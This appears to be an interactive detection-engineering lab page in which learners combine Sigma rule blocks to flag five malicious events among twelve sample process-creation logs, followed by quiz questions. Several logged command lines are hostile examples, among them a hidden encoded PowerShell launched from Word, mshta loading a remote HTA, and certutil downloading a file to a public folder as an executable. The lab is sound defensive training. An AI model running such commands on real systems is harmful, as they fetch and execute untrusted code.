HackBlue

Labs / Detection and response

Sigma rule builder

Build a Sigma rule from selections and filters, run it against twelve process events, and tune it until it catches every malicious one and nothing else.

  • Interactive lab
  • Intermediate
  • 5 steps
  • 0 of 5 solved

Goal

Twelve process creation events came from one afternoon of EDR telemetry. Five are malicious and seven are normal work, including two that look suspicious and are not.

Six detection blocks are already written. Write the condition that combines them, run it against the events, and tune it until it catches every malicious event and nothing else.

Detection blocks

  • An Office application is the parent
  • The child is a shell or script host
  • PowerShell with an encoded command
  • certutil used as a downloader
  • Parent is the Configuration Manager agent
  • The finance team’s approved Excel refresh script

3 of 5 malicious caught · 1 false positive · 2 missed

Eventsprocess_creation
#Parent → ImageCommandLineMatchedAlertGround truth
1WINWORD.EXE → powershell.exepowershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAsel_parent_office, sel_child_shell, sel_encodedalertmalicious
2OUTLOOK.EXE → mshta.exemshta.exe http://invoice-portal.example/view.htasel_parent_office, sel_child_shellalertmalicious
3cmd.exe → certutil.execertutil.exe -urlcache -split -f http://203.0.113.50/a.txt C:\Users\Public\a.exesel_certutilquietmalicious (missed)
4explorer.exe → powershell.exepowershell.exe -EncodedCommand JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAA=sel_child_shell, sel_encodedquietmalicious (missed)
5CcmExec.exe → powershell.exepowershell.exe -NoProfile -enc RwBlAHQALQBIAG8AdABGAGkAeAA=sel_child_shell, sel_encoded, filter_sccmquietbenign
6EXCEL.EXE → cmd.execmd.exe /c "C:\Finance\refresh.bat"sel_parent_office, sel_child_shell, filter_financealertbenign (false positive)
7explorer.exe → powershell.exepowershell.exe -File C:\Scripts\backup.ps1sel_child_shellquietbenign
8explorer.exe → WINWORD.EXEWINWORD.EXE /n "C:\Users\ana\report.docx"—quietbenign
9services.exe → certutil.execertutil.exe -verify C:\certs\root.cer—quietbenign
10WINWORD.EXE → splwow64.exesplwow64.exe 8192sel_parent_officequietbenign
11cmd.exe → PING.EXEping -n 1 10.0.0.1—quietbenign
12EXCEL.EXE → wscript.exewscript.exe C:\Users\ben\AppData\Local\Temp\inv.vbssel_parent_office, sel_child_shellalertmalicious

Steps

  1. 01Write a condition that alerts on all five malicious events and none of the seven benign ones.

    Do this in the workbench above. This step completes itself when the condition is met.

  2. 02How many malicious events does the starter condition miss?

  3. 03Event 5 is Configuration Manager running encoded PowerShell. What is the better way to stop that alert?

  4. 04The rule says \powershell.exe, but events can show POWERSHELL.EXE. Does it still match?

  5. 05This rule uses the process_creation category. Which Sysmon event ID records process creation?